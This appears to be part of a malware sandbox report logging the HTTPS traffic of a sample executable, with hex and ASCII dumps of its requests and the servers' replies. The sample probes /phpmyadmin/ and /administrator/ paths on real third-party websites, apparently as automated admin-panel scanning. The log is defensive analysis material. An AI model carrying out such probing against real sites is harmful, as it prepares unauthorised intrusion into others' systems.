2023-11-26 05:59:33 UTC	206	IN	Data Raw: 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	57572	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	229	OUT	GET /administrator/index.php HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://unaj.edu.pe/administrator/
2023-11-26 05:59:33 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:33 UTC	15911	IN	Data Raw: 37 39 37 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7973<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:33 UTC	15193	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	57563	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	333	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip Cookie: site_version_phase=108; site_version=HDv3 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com
2023-11-26 05:59:33 UTC	637	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 41 53 50 2e 4e 45 54 0d 0a 6c 62 3a 20 54 63 6c 50 72 64 4c 62 48 64 33 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingx-powered-by: ASP.NETlb: TclPrdLbHd3CF-Cache-Status: DYNAMICR
2023-11-26 05:59:33 UTC	732	IN	Data Raw: 31 65 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 Data Ascii: 1e7a<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><me
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 68 64 2d 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 32 2d 31 30 2d 33 33 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 Data Ascii: 3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/responsive.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/hd-style.css?aa=2022-10-33"><meta name="the
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0d 0a 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0d 0a 2f 2a 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 55 41 2d 37 31 31 37 33 33 39 2d 34 27 29 3b 20 2a 2f 0d 0a 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 55 41 2d 37 31 31 37 33 33 39 2d 34 27 2c 20 7b 0d 0a 27 63 75 73 74 6f 6d 5f 6d 61 70 27 3a 20 7b 0d 0a 27 64 69 6d 65 6e 73 69 6f 6e 33 Data Ascii: js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];function gtag(){dataLayer.push(arguments);}gtag('js', new Date());/* gtag('config', 'UA-7117339-4'); */gtag('config', 'UA-7117339-4', {'custom_map': {'dimension3
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 6f 78 44 69 76 49 44 22 3e 0a 0a 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 2e 63 66 6d 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 66 6f 72 6d 22 20 69 64 3d 22 73 69 74 65 48 65 61 64 65 72 46 6f 72 6d 53 65 61 72 63 68 49 44 22 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 64 6f 6d 61 69 6e 5f 6e 61 6d 65 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 69 6e 70 75 74 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 54 65 78 74 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d Data Ascii: hdv3HeaderSearchBoxDivID"><form action="https://www.HugeDomains.com/domain_search.cfm" method="get" class="search-form" id="siteHeaderFormSearchID"><input type="text" name="domain_name" value class="search-input" id="hdv3HeaderSearchTextID" aria-label=
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e 63 6c 69 63 6b 3d 22 20 24 28 20 27 23 6e 61 76 54 6f 67 67 6c 65 27 20 29 2e 63 6c 69 63 6b 28 29 3b 20 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 4d 65 6e 75 20 64 2d 66 6c 65 78 20 61 69 2d 63 65 6e 74 65 72 20 6a 63 2d 62 65 74 77 65 65 6e 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 6e 61 76 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 Data Ascii: </div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " onclick=" $( '#navToggle' ).click(); "></div><div class="overlay "><div class="overlayMenu d-flex ai-center jc-between"><ul class="navbar-nav"><li class="nav-item"><a class="na
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 63 61 72 74 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 61 72 74 2d 6e 75 6d 62 65 72 20 68 69 64 64 65 6e 41 74 4c 6f 61 64 22 20 69 64 3d 22 68 64 76 33 43 61 72 74 4e 75 6d 62 65 72 53 70 61 6e 49 44 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 Data Ascii: label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src="https://static.HugeDomains.com/images/hdv3-img/cart.png" alt><span class="cart-number hiddenAtLoad" id="hdv3CartNumberSpanID"></span></a></div></div></div></div></nav></hea
2023-11-26 05:59:33 UTC	233	IN	Data Raw: 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 35 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 36 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 72 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 0d 0a Data Ascii: class="circularJ_3"></div><div class="circularJ_4"></div><div class="circularJ_5"></div><div class="circularJ_6"></div><div class="circularJ_7"></div><div class="circularJ_8"></div></div></button><span class="or">or</span>
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 22 Data Ascii: 7ffa<a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=RobinsonLand.com" class="btn m-t-0 " id="hdv3Billboard197PPID" onClick="$('#hdv3Billboard197PPID').addClass('hiddenAtLoad'); $('#hdv3Billboard197PPProceID').removeClass('hiddenAtLoad');"
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 65 73 2f 68 64 76 33 2d 69 6d 67 2f 72 6f 6b 65 74 2d 73 69 64 65 2d 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e 54 61 6b 65 20 69 6d 6d 65 64 69 61 74 65 20 6f 77 6e 65 72 73 68 69 70 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 73 61 66 65 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e Data Ascii: es/hdv3-img/roket-side-ico.png" alt></div><div class="content"><span>Take immediate ownership</span></div></li><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/safesmallico.png" alt></div><div class="content"><span>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	57699	76.223.105.230	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	207	OUT	GET /phpmyadmin/ HTTP/1.1 Host: saudi-jamac.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	288	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 36 34 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 44 50 53 2f 32 2e 30 2e 30 2b 73 68 61 2d 33 32 31 30 62 34 39 0d 0a 58 2d 56 65 72 73 69 6f 6e 3a 20 33 32 31 30 62 34 39 0d 0a 58 2d 53 69 74 65 49 64 3a 20 75 73 2d 65 61 73 74 2d 31 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 64 70 73 5f 73 69 74 65 5f 69 64 3d 75 73 2d 65 61 73 74 2d 31 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-3210b49X-Version: 3210b49X-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Sun, 26 Nov 2023 05
2023-11-26 05:59:33 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	57721	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	632	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 70 68 70 6d 79 61 64 6d 69 6e 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/phpmyadminCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:34 UTC	422	IN	Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	57806	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
